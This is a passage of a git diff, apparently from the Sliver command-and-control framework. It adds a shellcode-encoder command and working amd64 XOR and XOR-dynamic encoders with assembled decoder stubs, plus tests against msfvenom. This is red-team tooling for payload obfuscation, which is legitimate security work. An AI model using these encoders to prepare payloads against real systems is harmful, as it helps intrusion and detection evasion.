@@ -103,7 +104,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
crack.Commands,
certificates.Commands,
clean.Command,
aka.ServerCommands,
aka.ServerCommands,
)
// C2 Network
@@ -119,6 +120,7 @@ func ServerCommands(con *client.SliverClient, serverCmds func() []*cobra.Command
// Payloads
bind(consts.PayloadsHelpGroup,
sgn.Commands,
shellcodeencoders.Commands,
generate.Commands,
builders.Commands,
)
@@ -0,0 +1,55 @@
package shellcodeencoders
import (
"github.com/bishopfox/sliver/client/command/flags"
"github.com/bishopfox/sliver/client/command/help"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/rsteube/carapace"
"github.com/spf13/cobra"
"github.com/spf13/pflag"
)
// Commands returns the shellcode-encoders command and its subcommands.
func Commands(con *console.SliverClient) []*cobra.Command {
shellcodeEncodersCmd := &cobra.Command{
Use: consts.ShellcodeEncodersStr,
Short: "List supported shellcode encoders",
Long: help.GetHelpFor([]string{consts.ShellcodeEncodersStr}),
Args: cobra.NoArgs,
Run: func(cmd *cobra.Command, args []string) {
ShellcodeEncodersCmd(cmd, con, args)
},
GroupID: consts.PayloadsHelpGroup,
}
flags.Bind("shellcode-encoders", false, shellcodeEncodersCmd, func(f *pflag.FlagSet) {
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
shellcodeEncodersEncodeCmd := &cobra.Command{
Use: "encode <shellcode file>...",
Short: "Encode shellcode using server encoders",
Long: help.GetHelpFor([]string{consts.ShellcodeEncodersStr, "encode"}),
Args: cobra.MinimumNArgs(1),
Run: func(cmd *cobra.Command, args []string) {
ShellcodeEncodersEncodeCmd(cmd, con, args)
},
}
flags.Bind("shellcode-encoders encode", false, shellcodeEncodersEncodeCmd, func(f *pflag.FlagSet) {
f.StringP("encoder", "e", "", "encoder to use (shikata_ga_nai, xor, xor_dynamic)")
f.StringP("arch", "a", "amd64", "architecture of the shellcode")
f.IntP("iterations", "i", 1, "number of encoding iterations")
f.StringP("bad-chars", "b", "", "hex encoded bad characters to avoid (e.g. 0001)")
f.StringP("output", "o", "", "output file (or directory when encoding multiple files)")
f.Int64P("timeout", "t", flags.DefaultTimeout, "grpc timeout in seconds")
})
flags.BindFlagCompletions(shellcodeEncodersEncodeCmd, func(comp *carapace.ActionMap) {
(*comp)["encoder"] = ShellcodeEncoderNameCompleter(con)
(*comp)["arch"] = ShellcodeEncoderArchCompleter(con)
(*comp)["output"] = carapace.ActionFiles().Tag("output file/directory")
})
carapace.Gen(shellcodeEncodersEncodeCmd).PositionalCompletion(carapace.ActionFiles().Tag("shellcode file"))
shellcodeEncodersCmd.AddCommand(shellcodeEncodersEncodeCmd)
return []*cobra.Command{shellcodeEncodersCmd}
}
+166
View File
@@ -0,0 +1,166 @@
package shellcodeencoders
import (
"encoding/hex"
"fmt"
"os"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/spf13/cobra"
)
// ShellcodeEncodersEncodeCmd - Encode shellcode files with server encoders.
func ShellcodeEncodersEncodeCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
encoderFlag, _ := cmd.Flags().GetString("encoder")
if strings.TrimSpace(encoderFlag) == "" {
con.PrintErrorf("Encoder is required (use --encoder). See %s for options.\n", consts.ShellcodeEncodersStr)
return
}
encoderName := normalizeShellcodeEncoderName(encoderFlag)
encoderEnum, ok := shellcodeEncoderEnum(encoderName)
if !ok {
con.PrintErrorf("Unknown encoder %q (see %s for supported encoders)\n", encoderFlag, consts.ShellcodeEncodersStr)
return
}
archFlag, _ := cmd.Flags().GetString("arch")
arch := normalizeShellcodeArch(archFlag)
if arch == "" {
arch = "amd64"
}
iterations, _ := cmd.Flags().GetInt("iterations")
if iterations <= 0 {
iterations = 1
}
badCharsRaw, _ := cmd.Flags().GetString("bad-chars")
badChars, err := decodeHexBytes("bad-chars", badCharsRaw)
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
output, _ := cmd.Flags().GetString("output")
outputInfo, err := outputInfoForArgs(output, len(args))
if err != nil {
con.PrintErrorf("%s\n", err)
return
}
grpcCtx, cancel := con.GrpcContext(cmd)
defer cancel()
hadError := false
for _, path := range args {
data, err := os.ReadFile(path)
if err != nil {
con.PrintErrorf("Failed to read %s: %s\n", path, err)
hadError = true
continue
}
resp, err := con.Rpc.ShellcodeEncoder(grpcCtx, &clientpb.ShellcodeEncodeReq{
Encoder: encoderEnum,
Architecture: arch,
Iterations: uint32(iterations),
BadChars: badChars,
Data: data,
Request: con.ActiveTarget.Request(cmd),
})
if err != nil {
con.PrintErrorf("Failed to encode %s: %s\n", path, err)
hadError = true
continue
}
if resp.GetResponse() != nil && resp.GetResponse().GetErr() != "" {
con.PrintErrorf("Failed to encode %s: %s\n", path, resp.GetResponse().GetErr())
hadError = true
continue
}
outputPath, err := resolveOutputPath(path, output, outputInfo, encoderName, len(args) > 1)
if err != nil {
con.PrintErrorf("Failed to write %s: %s\n", path, err)
hadError = true
continue
}
if err := os.WriteFile(outputPath, resp.Data, 0o644); err != nil {
con.PrintErrorf("Failed to write %s: %s\n", outputPath, err)
hadError = true
continue
}
con.PrintInfof("Shellcode written to %s (%d bytes)\n", outputPath, len(resp.Data))
}
if hadError {
con.PrintWarnf("One or more files failed to encode\n")
}
}
func decodeHexBytes(label string, raw string) ([]byte, error) {
trimmed := strings.TrimSpace(raw)
trimmed = strings.TrimPrefix(trimmed, "0x")
trimmed = strings.TrimPrefix(trimmed, "0X")
trimmed = strings.ReplaceAll(trimmed, " ", "")
if trimmed == "" {
return nil, nil
}
data, err := hex.DecodeString(trimmed)
if err != nil {
return nil, fmt.Errorf("%s must be hex encoded: %w", label, err)
}
return data, nil
}
func outputInfoForArgs(output string, argCount int) (os.FileInfo, error) {
if output == "" {
return nil, nil
}
info, err := os.Stat(output)
if err != nil {
if os.IsNotExist(err) {
if argCount > 1 {
if mkErr := os.MkdirAll(output, 0o755); mkErr != nil {
return nil, fmt.Errorf("failed to create output directory %s: %w", output, mkErr)
}
info, err = os.Stat(output)
if err != nil {
return nil, fmt.Errorf("failed to stat output directory %s: %w", output, err)
}
return info, nil
}
return nil, nil
}
return nil, err
}
if argCount > 1 && !info.IsDir() {
return nil, fmt.Errorf("output must be a directory when encoding multiple files")
}
return info, nil
}
func resolveOutputPath(inputPath string, output string, outputInfo os.FileInfo, encoderName string, multiple bool) (string, error) {
suffix := "." + strings.ReplaceAll(encoderName, "_", "-")
base := filepath.Base(inputPath)
if output == "" {
return filepath.Join(filepath.Dir(inputPath), base+suffix), nil
}
if multiple {
if outputInfo == nil || !outputInfo.IsDir() {
return "", fmt.Errorf("output must be a directory when encoding multiple files")
}
return filepath.Join(output, base+suffix), nil
}
if outputInfo != nil && outputInfo.IsDir() {
return filepath.Join(output, base+suffix), nil
}
return output, nil
}
@@ -0,0 +1,101 @@
package shellcodeencoders
import (
"fmt"
"sort"
"strings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/rsteube/carapace"
)
var shellcodeEncoderNameToEnum = map[string]clientpb.ShellcodeEncoder{
"shikata_ga_nai": clientpb.ShellcodeEncoder_SHIKATA_GA_NAI,
"xor": clientpb.ShellcodeEncoder_XOR,
"xor_dynamic": clientpb.ShellcodeEncoder_XOR_DYNAMIC,
}
func normalizeShellcodeEncoderName(name string) string {
normalized := strings.ToLower(strings.TrimSpace(name))
normalized = strings.ReplaceAll(normalized, "-", "_")
return normalized
}
func normalizeShellcodeArch(arch string) string {
normalized := strings.ToLower(strings.TrimSpace(arch))
switch normalized {
case "amd64", "x64", "x86_64":
return "amd64"
case "386", "x86", "i386":
return "386"
default:
return normalized
}
}
func shellcodeEncoderEnum(name string) (clientpb.ShellcodeEncoder, bool) {
normalized := normalizeShellcodeEncoderName(name)
encoder, ok := shellcodeEncoderNameToEnum[normalized]
return encoder, ok
}
func fetchShellcodeEncoderMap(con *console.SliverClient) (*clientpb.ShellcodeEncoderMap, error) {
grpcCtx, cancel := con.GrpcContext(nil)
defer cancel()
return con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
}
// ShellcodeEncoderNameCompleter returns available encoder names with supported arches.
func ShellcodeEncoderNameCompleter(con *console.SliverClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return carapace.ActionMessage("failed to fetch shellcode encoders: %s", err.Error())
}
nameArchs := map[string][]string{}
for arch, archMap := range encoderMap.GetEncoders() {
if archMap == nil {
continue
}
for name := range archMap.GetEncoders() {
nameArchs[name] = append(nameArchs[name], arch)
}
}
names := make([]string, 0, len(nameArchs))
for name := range nameArchs {
names = append(names, name)
}
sort.Strings(names)
results := []string{}
for _, name := range names {
arches := nameArchs[name]
sort.Strings(arches)
desc := fmt.Sprintf("(%s)", strings.Join(arches, ", "))
results = append(results, name, desc)
}
return carapace.ActionValuesDescribed(results...).Tag("shellcode encoders")
})
}
// ShellcodeEncoderArchCompleter returns available architectures.
func ShellcodeEncoderArchCompleter(con *console.SliverClient) carapace.Action {
return carapace.ActionCallback(func(c carapace.Context) carapace.Action {
encoderMap, err := fetchShellcodeEncoderMap(con)
if err != nil {
return carapace.ActionMessage("failed to fetch shellcode encoders: %s", err.Error())
}
arches := make([]string, 0, len(encoderMap.GetEncoders()))
for arch := range encoderMap.GetEncoders() {
arches = append(arches, arch)
}
sort.Strings(arches)
return carapace.ActionValues(arches...).Tag("shellcode architectures")
})
}
@@ -0,0 +1,65 @@
package shellcodeencoders
import (
"sort"
"github.com/bishopfox/sliver/client/command/settings"
"github.com/bishopfox/sliver/client/console"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/jedib0t/go-pretty/v6/table"
"github.com/spf13/cobra"
)
// ShellcodeEncodersCmd - Display supported shellcode encoders and architectures.
func ShellcodeEncodersCmd(cmd *cobra.Command, con *console.SliverClient, args []string) {
grpcCtx, cancel := con.GrpcContext(cmd)
defer cancel()
encoderMap, err := con.Rpc.ShellcodeEncoderMap(grpcCtx, &commonpb.Empty{})
if err != nil {
con.PrintErrorf("%s", err)
return
}
DisplayShellcodeEncoders(encoderMap, con)
}
// DisplayShellcodeEncoders - Display shellcode encoder map from server.
func DisplayShellcodeEncoders(encoderMap *clientpb.ShellcodeEncoderMap, con *console.SliverClient) {
if encoderMap == nil || len(encoderMap.GetEncoders()) == 0 {
con.PrintInfof("No shellcode encoders available\n")
return
}
tw := table.NewWriter()
tw.SetStyle(settings.GetTableStyle(con))
tw.AppendHeader(table.Row{"Arch", "Encoder", "Description"})
tw.SortBy([]table.SortBy{
{Name: "Arch", Mode: table.Asc},
{Name: "Encoder", Mode: table.Asc},
})
arches := make([]string, 0, len(encoderMap.GetEncoders()))
for arch := range encoderMap.GetEncoders() {
arches = append(arches, arch)
}
sort.Strings(arches)
for _, arch := range arches {
archMap := encoderMap.GetEncoders()[arch]
if archMap == nil {
continue
}
names := make([]string, 0, len(archMap.GetEncoders()))
for name := range archMap.GetEncoders() {
names = append(names, name)
}
sort.Strings(names)
for _, name := range names {
desc := archMap.GetDescriptions()[name]
tw.AppendRow(table.Row{arch, name, desc})
}
}
con.Println(tw.Render())
}
+2
View File
@@ -49,6 +49,7 @@ import (
"github.com/bishopfox/sliver/client/command/tasks"
"github.com/bishopfox/sliver/client/command/wasm"
"github.com/bishopfox/sliver/client/command/wireguard"
"github.com/bishopfox/sliver/client/command/hexedit"
client "github.com/bishopfox/sliver/client/console"
consts "github.com/bishopfox/sliver/client/constants"
"github.com/reeflective/console"
@@ -96,6 +97,7 @@ func SliverCommands(con *client.SliverClient) console.Commands {
// [ Filesystem ]
bind(consts.FilesystemHelpGroup,
edit.Commands,
hexedit.Commands,
filesystem.Commands,
)
+3 -1
View File
@@ -221,6 +221,7 @@ const (
PwdStr = "pwd"
CatStr = "cat"
EditStr = "edit"
HexEditStr = "hex-edit"
DownloadStr = "download"
HeadStr = "head"
TailStr = "tail"
@@ -298,7 +299,8 @@ const (
GetPrivsStr = "getprivs"
ConnectStr = "connect"
ShikataGaNai = "shikata-ga-nai"
ShikataGaNai = "shikata-ga-nai"
ShellcodeEncodersStr = "shellcode-encoders"
Cursed = "cursed"
CursedChrome = "chrome"
+2 -2
View File
@@ -146,8 +146,8 @@ else
exit 1
fi
# server / sgn
if go test -tags=server,$TAGS ./server/sgn ; then
# server / encoders / shellcode / sgn
if go test -tags=server,$TAGS ./server/encoders/shellcode/sgn ; then
:
else
cat ~/.sliver/logs/sliver.log
File diff suppressed because it is too large. Load diff
+11 -1
View File
@@ -690,6 +690,8 @@ message Backdoor { commonpb.Response Response = 9; }
enum ShellcodeEncoder {
NONE = 0;
SHIKATA_GA_NAI = 1;
XOR = 2;
XOR_DYNAMIC = 3;
}
message ShellcodeEncodeReq {
@@ -697,6 +699,7 @@ message ShellcodeEncodeReq {
string Architecture = 2;
uint32 Iterations = 3;
bytes BadChars = 4;
reserved 5;
bytes Data = 8;
commonpb.Request Request = 9;
@@ -708,7 +711,14 @@ message ShellcodeEncode {
commonpb.Response Response = 9;
}
message ShellcodeEncoderMap { map<string, ShellcodeEncoder> Encoders = 1; }
message ShellcodeEncoderArchMap {
map<string, ShellcodeEncoder> Encoders = 1;
map<string, string> Descriptions = 2;
}
message ShellcodeEncoderMap {
map<string, ShellcodeEncoderArchMap> Encoders = 1;
}
// [ Builder ] ----------------------------------------
+1 -1
View File
@@ -31,7 +31,7 @@ Server daemon responsible for managing operators, implants, and infrastructure.
- `msf/` – Metasploit integration utilities. Implements payload translation and RPC bridging with Metasploit.
- `netstack/` – gVisor-based userland network stack for server transports. Provides packet buffers, endpoint management, and adapters.
- `rpc/` – RPC server implementations and wiring. Boots gRPC servers, registers services, and manages middleware.
- `sgn/` – SGN (Sliver Guard Node) coordination and helpers. Implements SGN enrollment, messaging, and policy logic.
- `encoders/shellcode/sgn/` – SGN (Shikata Ga Nai) shellcode encoder helpers and configuration wiring.
- `transport/` – Server-side transports and listener orchestration. Coordinates C2 listener lifecycles and connection routing.
- `watchtower/` – Watchtower monitoring and background jobs. Runs scheduled tasks, telemetry collection, and alerting hooks.
- `website/` – Static website assets and server-side handling. Serves operator web artifacts and supporting handlers.
+1 -1
View File
@@ -120,7 +120,7 @@ func Setup(force bool, echo bool) {
setupLog.Infof("Version mismatch %v != %v", localVer, ver.GitCommit)
if echo {
fmt.Printf(`
Sliver Copyright (C) 2025 Bishop Fox
Sliver Copyright (C) 2026 Bishop Fox
This program comes with ABSOLUTELY NO WARRANTY; for details type 'licenses'.
This is free software, and you are welcome to redistribute it
under certain conditions; type 'licenses' for details.`)
-5
View File
@@ -23,7 +23,6 @@ import (
"crypto/rand"
insecureRand "math/rand"
"testing"
"time"
implantEncoders "github.com/bishopfox/sliver/implant/sliver/encoders"
util "github.com/bishopfox/sliver/util/encoders"
@@ -33,10 +32,6 @@ const (
sampleSizeMax = 8192
)
func init() {
insecureRand.Seed(time.Now().Unix())
}
func randomDataRandomSize(maxSize int) []byte {
buf := make([]byte, insecureRand.Intn(maxSize))
rand.Read(buf)
+47
View File
@@ -0,0 +1,47 @@
package amd64
import (
"crypto/rand"
"fmt"
)
const xorDynamicKeySize = 8
// XorKeyGen returns a random key suitable for the XOR encoder.
func XorKeyGen() ([]byte, error) {
return randomBytes(xorKeySize)
}
// XorDynamicKeyGen returns a random key suitable for the XOR dynamic encoder.
func XorDynamicKeyGen() ([]byte, error) {
return randomBytesFiltered(xorDynamicKeySize, xorDynamicBadchars)
}
func randomBytes(length int) ([]byte, error) {
if length <= 0 {
return nil, fmt.Errorf("invalid random length %d", length)
}
buf := make([]byte, length)
if _, err := rand.Read(buf); err != nil {
return nil, err
}
return buf, nil
}
func randomBytesFiltered(length int, badchars map[byte]bool) ([]byte, error) {
if length <= 0 {
return nil, fmt.Errorf("invalid random length %d", length)
}
buf := make([]byte, length)
for i := range buf {
for {
if _, err := rand.Read(buf[i : i+1]); err != nil {
return nil, err
}
if !badchars[buf[i]] {
break
}
}
}
return buf, nil
}
Binary file not shown.
Binary file not shown.
+133
View File
@@ -0,0 +1,133 @@
package amd64
/*
Sliver Implant Framework
Copyright (C) 2026 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
------------------------------------------------------------------------
Based on the Metasploit x64/xor encoder by [email protected]
*/
import (
"bytes"
"encoding/binary"
"fmt"
"strings"
"github.com/moloch--/go-keystone"
)
const (
xorKeySize = 8
xorBlockSize = 8
decoderPayloadSize = 0x27
)
// Xor encodes an amd64 payload using the Metasploit x64/xor scheme.
func Xor(data []byte, key []byte) ([]byte, error) {
if len(data) == 0 {
return nil, fmt.Errorf("xor encoder: empty payload")
}
if len(key) != xorKeySize {
return nil, fmt.Errorf("xor encoder: invalid key length %d", len(key))
}
blockCount := (len(data) + xorBlockSize - 1) / xorBlockSize
if blockCount <= 0 {
return nil, fmt.Errorf("xor encoder: invalid block count %d", blockCount)
}
paddedLen := blockCount * xorBlockSize
encoded := make([]byte, paddedLen)
copy(encoded, data)
for i := 0; i < paddedLen; i += xorBlockSize {
for j := 0; j < xorKeySize; j++ {
encoded[i+j] ^= key[j]
}
}
stub, err := buildDecoderStub(blockCount, key)
if err != nil {
return nil, err
}
return append(stub, encoded...), nil
}
func buildDecoderStub(blockCount int, key []byte) ([]byte, error) {
engine, err := keystone.NewEngine(keystone.ARCH_X86, keystone.MODE_64)
if err != nil {
return nil, err
}
defer func() { _ = engine.Close() }()
err = engine.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL)
if err != nil {
return nil, err
}
src := strings.Join([]string{
".code64",
"xor rcx, rcx",
"sub rcx, 0x81",
"lea rax, [rip - 0x11]",
"mov rbx, 0x1122334455667788",
"decode:",
"xor qword ptr [rax + 0x27], rbx",
"sub rax, 0x80",
"loop decode",
}, "\n")
inst, err := engine.Assemble(src, 0)
if err != nil {
return nil, err
}
if len(inst) != decoderPayloadSize {
return nil, fmt.Errorf("xor encoder: unexpected decoder stub length %d", len(inst))
}
blockValue := uint32(int32(-blockCount))
if err := patchImm32(inst, []byte{0x48, 0x81, 0xE9}, blockValue); err != nil {
return nil, err
}
keyOffset := bytes.Index(inst, []byte{0x48, 0xBB})
if keyOffset == -1 || keyOffset+10 > len(inst) {
return nil, fmt.Errorf("xor encoder: failed to locate key offset")
}
copy(inst[keyOffset+2:keyOffset+10], key)
if err := patchImm32(inst, []byte{0x48, 0x2D}, 0xFFFFFFF8); err != nil {
return nil, err
}
return inst, nil
}
func patchImm32(stub []byte, opcode []byte, value uint32) error {
offset := bytes.Index(stub, opcode)
if offset == -1 {
return fmt.Errorf("xor encoder: opcode %x not found", opcode)
}
offset += len(opcode)
if offset+4 > len(stub) {
return fmt.Errorf("xor encoder: opcode %x out of range", opcode)
}
binary.LittleEndian.PutUint32(stub[offset:offset+4], value)
return nil
}
@@ -0,0 +1,283 @@
package amd64
/*
Sliver Implant Framework
Copyright (C) 2026 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
------------------------------------------------------------------------
Based on the Metasploit x64/xor_dynamic encoder by lupman, phra
*/
import (
"bytes"
"fmt"
"strings"
"github.com/moloch--/go-keystone"
)
const (
xorDynamicKeyPlaceholder = 0x41
xorDynamicPayloadPlaceholder = 0x42
xorDynamicStubSize = 46
)
var xorDynamicBadchars = map[byte]bool{
0x00: true,
0x0a: true,
0x0d: true,
}
// XorDynamic encodes an amd64 payload using the Metasploit x64/xor_dynamic scheme.
// If key includes a trailing key terminator + payload terminator (3 bytes) that satisfy the
// encoder constraints, those are used verbatim.
func XorDynamic(data []byte, key []byte) ([]byte, error) {
if len(data) == 0 {
return nil, fmt.Errorf("xor_dynamic encoder: empty payload")
}
if len(key) == 0 {
return nil, fmt.Errorf("xor_dynamic encoder: empty key")
}
coreKey := key
var keyTerm byte
var payloadTerm []byte
encoded := xorDynamicEncode(data, key)
explicit := false
if candidateKey, candidateKeyTerm, candidatePayloadTerm, ok := splitExplicitTerms(data, key); ok {
coreKey = candidateKey
keyTerm = candidateKeyTerm
payloadTerm = candidatePayloadTerm
encoded = xorDynamicEncode(data, coreKey)
explicit = true
}
if containsBadchars(coreKey, xorDynamicBadchars) {
return nil, fmt.Errorf("xor_dynamic encoder: key contains badchars")
}
if !explicit {
var err error
keyTerm, err = selectKeyTerm(coreKey)
if err != nil {
return nil, err
}
payloadTerm, err = selectPayloadTerm(encoded)
if err != nil {
return nil, err
}
} else {
if bytes.IndexByte(coreKey, keyTerm) != -1 {
return nil, fmt.Errorf("xor_dynamic encoder: key contains key terminator")
}
if bytes.Contains(encoded, payloadTerm) {
return nil, fmt.Errorf("xor_dynamic encoder: encoded payload contains payload terminator")
}
}
stub, err := buildXorDynamicStub(keyTerm, payloadTerm)
if err != nil {
return nil, err
}
final := make([]byte, 0, len(stub)+len(coreKey)+1+len(encoded)+len(payloadTerm))
final = append(final, stub...)
final = append(final, coreKey...)
final = append(final, keyTerm)
final = append(final, encoded...)
final = append(final, payloadTerm...)
if containsBadchars(final, xorDynamicBadchars) {
return nil, fmt.Errorf("xor_dynamic encoder: badchars present in output")
}
return final, nil
}
func xorDynamicEncode(data []byte, key []byte) []byte {
encoded := make([]byte, len(data))
for i := range data {
encoded[i] = data[i] ^ key[i%len(key)]
}
return encoded
}
func splitExplicitTerms(data []byte, key []byte) ([]byte, byte, []byte, bool) {
if len(key) < 4 {
return nil, 0, nil, false
}
candidateKey := key[:len(key)-3]
if len(candidateKey) == 0 {
return nil, 0, nil, false
}
keyTerm := key[len(key)-3]
payloadTerm := key[len(key)-2:]
if xorDynamicBadchars[keyTerm] || xorDynamicBadchars[payloadTerm[0]] || xorDynamicBadchars[payloadTerm[1]] {
return nil, 0, nil, false
}
if bytes.IndexByte(candidateKey, keyTerm) != -1 {
return nil, 0, nil, false
}
if containsBadchars(candidateKey, xorDynamicBadchars) {
return nil, 0, nil, false
}
encoded := xorDynamicEncode(data, candidateKey)
if bytes.Contains(encoded, payloadTerm) {
return nil, 0, nil, false
}
return candidateKey, keyTerm, append([]byte{}, payloadTerm...), true
}
func selectKeyTerm(key []byte) (byte, error) {
for _, b := range allowedDynamicChars() {
if bytes.IndexByte(key, b) == -1 {
return b, nil
}
}
return 0, fmt.Errorf("xor_dynamic encoder: key terminator not found")
}
func selectPayloadTerm(encoded []byte) ([]byte, error) {
allowed := allowedDynamicChars()
for _, first := range allowed {
for _, second := range allowed {
term := []byte{first, second}
if !bytes.Contains(encoded, term) {
return term, nil
}
}
}
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator not found")
}
func allowedDynamicChars() []byte {
allowed := make([]byte, 0, 255)
for i := 1; i <= 255; i++ {
b := byte(i)
if xorDynamicBadchars[b] {
continue
}
allowed = append(allowed, b)
}
return allowed
}
func buildXorDynamicStub(keyTerm byte, payloadTerm []byte) ([]byte, error) {
if len(payloadTerm) != 2 {
return nil, fmt.Errorf("xor_dynamic encoder: payload terminator must be 2 bytes")
}
engine, err := keystone.NewEngine(keystone.ARCH_X86, keystone.MODE_64)
if err != nil {
return nil, err
}
defer func() { _ = engine.Close() }()
if err := engine.Option(keystone.OPT_SYNTAX, keystone.OPT_SYNTAX_INTEL); err != nil {
return nil, err
}
src := strings.Join([]string{
".code64",
"jmp _call",
"_ret:",
"pop rbx",
"push rbx",
"pop rdi",
"mov al, 0x41",
"cld",
"_lp1:",
"scasb",
"jne _lp1",
"push rdi",
"pop rcx",
"_lp2:",
"push rbx",
"pop rsi",
"_lp3:",
"mov al, byte ptr [rsi]",
"xor byte ptr [rdi], al",
"inc rdi",
"inc rsi",
"cmp word ptr [rdi], 0x4242",
"je _jmp",
"cmp byte ptr [rsi], 0x41",
"jne _lp3",
"jmp _lp2",
"_jmp:",
"jmp rcx",
"_call:",
"call _ret",
}, "\n")
inst, err := engine.Assemble(src, 0)
if err != nil {
return nil, err
}
if len(inst) != xorDynamicStubSize {
return nil, fmt.Errorf("xor_dynamic encoder: unexpected stub length %d", len(inst))
}
keyReplaced := 0
for i := range inst {
if inst[i] == xorDynamicKeyPlaceholder {
inst[i] = keyTerm
keyReplaced++
}
}
if keyReplaced == 0 {
return nil, fmt.Errorf("xor_dynamic encoder: key placeholder not found")
}
payloadReplaced := 0
for i := 0; i+1 < len(inst); i++ {
if inst[i] == xorDynamicPayloadPlaceholder && inst[i+1] == xorDynamicPayloadPlaceholder {
inst[i] = payloadTerm[0]
inst[i+1] = payloadTerm[1]
payloadReplaced++
i++
}
}
if payloadReplaced == 0 {
return nil, fmt.Errorf("xor_dynamic encoder: payload placeholder not found")
}
if containsBadchars(inst, xorDynamicBadchars) {
return nil, fmt.Errorf("xor_dynamic encoder: badchars present in stub")
}
return inst, nil
}
func containsBadchars(data []byte, badchars map[byte]bool) bool {
for _, b := range data {
if badchars[b] {
return true
}
}
return false
}
@@ -0,0 +1,126 @@
package amd64
import (
"bytes"
"fmt"
"io/fs"
"os/exec"
"path/filepath"
"testing"
)
func TestXorDynamicEncoderMatchesMSFVenom(t *testing.T) {
if _, err := exec.LookPath("msfvenom"); err != nil {
t.Skipf("msfvenom not available: %v", err)
}
if !keystoneAvailable() {
t.Skip("keystone assembler not available")
}
fixtures, err := fs.Glob(xorFixtures, "testdata/*.bin")
if err != nil {
t.Fatalf("failed to list fixtures: %v", err)
}
if len(fixtures) == 0 {
t.Fatal("no xor fixtures found")
}
home := t.TempDir()
primeMSFVenom(t, home)
for _, name := range fixtures {
name := name
t.Run(filepath.Base(name), func(t *testing.T) {
payload, err := xorFixtures.ReadFile(name)
if err != nil {
t.Fatalf("failed to read fixture %s: %v", name, err)
}
if len(payload) == 0 {
t.Fatalf("fixture %s is empty", name)
}
platform, err := platformFromFixture(name)
if err != nil {
t.Fatalf("fixture %s: %v", name, err)
}
msfEncoded := msfvenomEncode(t, home, payload, platform, "x64/xor_dynamic")
key, keyTerm, payloadTerm, err := extractXorDynamicParams(msfEncoded)
if err != nil {
t.Fatalf("fixture %s: %v", name, err)
}
keyWithTerms := make([]byte, 0, len(key)+3)
keyWithTerms = append(keyWithTerms, key...)
keyWithTerms = append(keyWithTerms, keyTerm)
keyWithTerms = append(keyWithTerms, payloadTerm...)
encoded, err := XorDynamic(payload, keyWithTerms)
if err != nil {
t.Fatalf("fixture %s: XorDynamic failed: %v", name, err)
}
if !bytes.Equal(encoded, msfEncoded) {
diff := firstDiff(encoded, msfEncoded)
t.Fatalf("fixture %s: output mismatch at byte %d (got=%d, msf=%d)", name, diff, len(encoded), len(msfEncoded))
}
})
}
}
func extractXorDynamicParams(encoded []byte) ([]byte, byte, []byte, error) {
if len(encoded) < xorDynamicStubSize+3 {
return nil, 0, nil, fmt.Errorf("xor_dynamic output too short")
}
stub := encoded[:xorDynamicStubSize]
keyTerm, payloadTerm, err := extractXorDynamicTerms(stub)
if err != nil {
return nil, 0, nil, err
}
rest := encoded[xorDynamicStubSize:]
keyEnd := bytes.IndexByte(rest, keyTerm)
if keyEnd == -1 {
return nil, 0, nil, fmt.Errorf("xor_dynamic: key terminator not found in payload")
}
key := rest[:keyEnd]
if len(key) == 0 {
return nil, 0, nil, fmt.Errorf("xor_dynamic: empty key in payload")
}
if len(rest) < keyEnd+1+2 {
return nil, 0, nil, fmt.Errorf("xor_dynamic: payload missing terminator")
}
if len(rest) < 2 || !bytes.HasSuffix(rest, payloadTerm) {
return nil, 0, nil, fmt.Errorf("xor_dynamic: payload terminator mismatch")
}
return key, keyTerm, payloadTerm, nil
}
func extractXorDynamicTerms(stub []byte) (byte, []byte, error) {
movIdx := bytes.Index(stub, []byte{0xB0})
if movIdx == -1 || movIdx+1 >= len(stub) {
return 0, nil, fmt.Errorf("xor_dynamic: mov al not found in stub")
}
keyTerm := stub[movIdx+1]
cmpIdx := bytes.Index(stub, []byte{0x80, 0x3E})
if cmpIdx == -1 || cmpIdx+2 >= len(stub) {
return 0, nil, fmt.Errorf("xor_dynamic: cmp byte not found in stub")
}
if stub[cmpIdx+2] != keyTerm {
return 0, nil, fmt.Errorf("xor_dynamic: stub key terminator mismatch")
}
termIdx := bytes.Index(stub, []byte{0x66, 0x81, 0x3F})
if termIdx == -1 || termIdx+4 >= len(stub) {
return 0, nil, fmt.Errorf("xor_dynamic: cmp word not found in stub")
}
payloadTerm := []byte{stub[termIdx+3], stub[termIdx+4]}
return keyTerm, payloadTerm, nil
}
+172
View File
@@ -0,0 +1,172 @@
package amd64
import (
"bytes"
"embed"
"fmt"
"io/fs"
"os"
"os/exec"
"path/filepath"
"strings"
"testing"
"github.com/moloch--/go-keystone"
)
//go:embed testdata/*.bin
var xorFixtures embed.FS
func TestXorEncoderMatchesMSFVenom(t *testing.T) {
if _, err := exec.LookPath("msfvenom"); err != nil {
